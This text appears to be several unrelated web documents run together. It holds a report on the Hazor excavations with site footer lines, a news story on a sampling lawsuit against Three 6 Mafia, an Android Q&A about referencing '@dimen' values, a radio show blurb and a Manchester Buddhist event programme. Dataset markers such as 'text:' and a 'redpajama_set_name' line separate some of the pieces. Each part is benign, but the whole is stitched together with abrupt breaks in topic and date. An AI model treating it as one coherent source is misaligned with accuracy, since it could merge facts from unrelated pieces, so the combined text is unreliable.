It was the late Prof. Yigael Yadin of the Hebrew University who first proposed the 10th century dating for the early Israelite construction in Hazor, said Prof. Amnon Ben-Tor, who is director of the Hebrew University of Jerusalem Institute of Archaeology and who has directed the renewed excavations at Hazor since 1990.
Also verified during the fifth season of excavations this year were Yadin's claims that 10th century Hazor was confined to the western part of the tela's acropolis. Only in the ninth century, probably in the reign of Israelite King Ahab, was the city expanded to include the entire acropolis, with a new defensive city wall being constructed as well as several public buildings.
Hazor, located north of the sea of Galilee, was one of the most important cities of Canaan and ancient Israel, occupying a strategic point on the route connecting Egypt with Babylonia and Syria. Tel Hazor, the remnant of that ancient city, is the largest Biblical archaeological site in Israel. It was first excavated under the direction of Prof. Yadin in the 1950's and 1960's; the current excavations are dedicated to his memory.
Excavation continued this season of the two large palaces from Canaanite Hazor that were discovered two years ago. Thus far, most of the western facade of the later of the two palaces, dating form the 15th-14th centuries B.C.E., has been uncovered, totalling more than thirty metres in length, as well as some twenty metres of its northern wall.
The palace walls, preserved in some places a height of more than two metres, were built of mudbrick on a stone foundation, with wooden cedar beams placed in the walls at irregular intervals. The plan of the palace, as well as many of the elements of construction, clearly show a Syrian influence on the local architecture. The palace was destroyed by fire, the intensity of which was augmented by the extensive use of timber in the walls.
Work was also done on the clearance of a monumental staircase located on the northern slope of the Hazor acropolis. Once this is totally excavated, it will provide an answer to a longstanding question as to how the upper and lower towns of Hazor were connected.
The Hazor excavations are a group project of the Philip and Muriel Berman centre for Biblical Archaeology at the Hebrew University and the Complutense University in Madrid, Spain, in cooperation with Ambassador College of Big Sandy, Texas, and the Israel Exploration Society. Prof. Maria-Teresa Rubiato of Complutense University headed the Spanish team, and Prof. Russel Duke headed the Ambassador contingent. The project was also supported by the Rothschild Foundation, the Israel Ministry of Labor and Social Welfare, and the Israel Antiquities and National Parks authorities. Some 140 in all took part in the work this year, including students and volunteers from the U.S., Europe and Israel and Bedouin and Druze workers.
2020 Season opening
Ivory head
Head made of ivory, found in the Ceremonial Precinct, Building 7050. Only part of this head, which may have belonged to an anthropomorphic statuette, remains, including the face, the left ear, the neck and part of the headdress. Its fragmentary state makes it difficult to establish whether it belonged to a standing or seated figure or perhaps even to a composite creature, such as a sphinx. It is most likely dated to the Late Bronze Age.
Gabrielle Sheehan – Hazor 2019
I Read, I Came, I'm Hooked | by John Rinks
The End of the Season picture, 2018
Neb-pu statue
Recommended Personal Needs
© 2018. HAZOR EXCAVATIONS. All Rights Reserved.
Proudly powered by WordPress | Theme: flatter by Ocean Web Themes.


text:
Lithonia man sues Oscar-winning rap group Three 6 Mafia
Darnell "Crunchy Black" Carlton, left, Jordan "Juicy J" Houston and Paul "D.J. Paul" Beauregard, right, from the rap group Three 6 Mafia and Cedric Coleman, second from left, accept the Oscar for best original song "It's Hard Out Here for a Pimp" from the motion picture "Hustle & Flow" at the 78th Academy Awards Sunday, March 5, 2006, in Los Angeles. AP Photo / Mark J. Terrill
By Breaking News Staff
A Lithonia man has filed suit against the members of Three 6 Mafia, the Oscar-winning rap group behind hits such as "It's Hard Out Here for a Pimp" and "Stay Fly."
In the suit, filed March 20 in DeKalb County Superior Court, Reginald Boyland accuses group members Jordan "Juicy J" Houston and Paul "DJ Paul" Beauregard of using his music in their recordings without his permission.
Boyland's On The Strength records "owns all rights in and to the master sound recordings "Listen to the Lyrics" and "Pimps in the House," according to the suit. Three 6 Mafia allegedly sampled those songs in recordings dating back to 1996. And those Three 6 Mafia songs have been sampled by other artists, according to the lawsuit.
"An injunction should be granted because immediate and irreparable injury, loss or damage will result to the Plaintiff if the actions of Defendants are not enjoined," Boyland's attorney, Alan S. Clarke, wrote in the suit, which also lists several companies associated with Three 6 Mafia as defendants. "Without such an order, Plaintiff has no adequate remedy at law to prevent Defendants' continued use, exploitation and profiting from his Work."
Three 6 Mafia made Academy Award history when the group performed "It's Hard Out Here for a Pimp" during the 2006 Oscar telecast. It was the first time a rap song was performed during the event. "It's Hard Out Here for a Pimp," from the motion picture "Hustle & Flow," went on to win the Oscar for best original song.
Breaking News Staff
MARTA CEO Jeffrey Parker, 56, has died
MARTA: Things to know about the Atlanta transit agency
Map: Coronavirus deaths and cases in Georgia (updated Jan. 14)


text:
Q: Eclipse + Android not recognizing my (dimension) values I am teaching myself Android using Eclipse, the Android plug-in, and Sams "Teach Yourself Android Development" book.  I have this weird little problem.  I've been able to create xml files in the res/values directory that hold strings and color values (colors.xml and strings.xml).  I have been able to reference these values in the properties of my Android screens (the xml in res/layout), for example setting the "Text" and "Text color" properties with references like "@string/topTitle" and "@color/titleColor,"  where topTitle and titleColor are defined in the xml files.
BUT: when I create a file called "dimens.xml" and have font sizes in it, Eclipse correctly puts this file in res/values, but when I try to reference these values, e.g. "@dimension/titleFont" I get an error "No resource found that matches the given name."  I've tried lots of different names, I've tried "@dimens" instead of the type, still nothing.  If I go into the layout xml file and set it explicitly to a font size, e.g. 22pt, it works.
So Eclipse recognized my "dimens.xml" file when I made it well enough to put it in res/values, and lets me edit it, and shows it full of (dimension) values.  It just doesn't recognize my referring to it in other xml files.
The book I'm using doesn't actually show a dimension example so I must be doing something wrong.  I checked the Android docs but couldn't see any problem.
Any help appreciated. Thanks.

A: The correct way to refer to a dimension variable (stored in your dimens.xml (don't think the name here really matters though, it's what's inside that does)) from another xml file is like this:
"@dimen/nameOfVariable"

Notice that it is neither dimension, dimensions or dimens, but dimen!
If you look inside your xml file where you have your values, this will make sense as dimen is the name of the xml elements storing dimension values:
<?xml version="1.0" encoding="utf-8"?>
<resources xmlns:android="http://schemas.android.com/apk/res/android">
    <dimen name="someDimension">5dp</dimen>
    <dimen name="anotherDimension">10dp</dimen>
</resources>

redpajama_set_name: RedPajamaStackExchange


Gareth starts the show a little late as he was accosted by a large rat en route to the studio. This was nothing compared to his time at the dentist though. News, sport and finance then well and truly kickstart the day from there.


By Andy Taylor from the Manchester University Buddhist Society. A brief talk about the early history of Buddhism, the early texts and how it branched and diversified across the world and how each of the groups in the Manchester region can be traced back to Buddha.
3. Keynote Speech – Do we need to choose a Buddhist tradition?
By Chris Ward from the Network of Buddhist Organisations.
Chris will briefly explore how we can relate to the diversity of Buddhist traditions in the UK. Do we need to become a disciple of a tradition or can we be non-aligned or a butterfly Buddhist? What criteria can be used to judge traditions? Can we use scripture, lineage, ethical behaviour, google, or intuition? Is UK Buddhism going to become more sectarian or are there things that UK Buddhists have in common – common threads – that unite us?
Ordained members from certain traditions are required to eat before mid day so please allow venerables and Senior lay members to be served first. The Fo Guang Shan temple will chant the blessing before lunch commences. Please get your food but wait for nuns to chant blessing before starting eating.
All groups are welcome to bring Buddhist related goods to sell. Stalls will be provided.
Led by the Samatha group.
The Six Paramitas are: – 1 Giving, 2 Taking Precepts, 3 Endurance/Patience, 4 Vigor, 5 Meditation/Samadhi, 6 Wisdom/Prajna.
By Valerie Roebuck from the Samatha centre.
Provides space for Buddhists, creatives and Buddhist creatives to meet, share their work and discuss Buddhist path and creativity and how they do or don't go together. So far, attendees can expect to experience poetry readings, an exhibition of watercolours, images of ceramic sculptures and live music. There will also be an opportunity for everyone to make a paper collage and write a haiku. Even if you do not write to us in advance about your particular creative pursuit, please come along and bring your works to share. We will equally be happy to see everyone who wishes to form a participating audience.
Helen, Ameena and Frankie, all leaders in Soka Gakkai International Greater Manchester (SGI Greater Manchester), will provide an introduction to Nichiren Buddhism. Helen will talk about the SGI, Ameena will give details of the practice of Nichiren Buddhism and Frankie will explain about a local campaign, "Victory over Violence".
XXXX from the Kagyu Ling tradition will lead a meditation session. The Kagyu prayer will be chanted in Tibetan followed by a session of Samatha meditation.
In 1966, Dharma Master Cheng Yen established the Tzu Chi Foundation in Hualien on the east coast of Taiwan. With the spirit of self-discipline, diligence, frugality and perseverance Tzu Chi set out to help the poor and relieve suffering. Over time the foundation's mission started with Charity and extended into Medicine, Education, and Humanistic Culture, Bone Marrow Donation, Environmental Protection, Community Volunteerism, and International Relief. For more information, please visit www.tzuchi.org.
Ken Blythin will explore ways in which Buddhist teachings and practice can contribute to awareness-based psychotherapy. Ken is a UKCP accredited Core Process Psychotherapist and is currently Chair of the Association of Core Process Psychotherapists.
Tea coffee and biscuits will be served in the ?????? by the main entrance on the ground floor but people will stand in the main reception area opposite.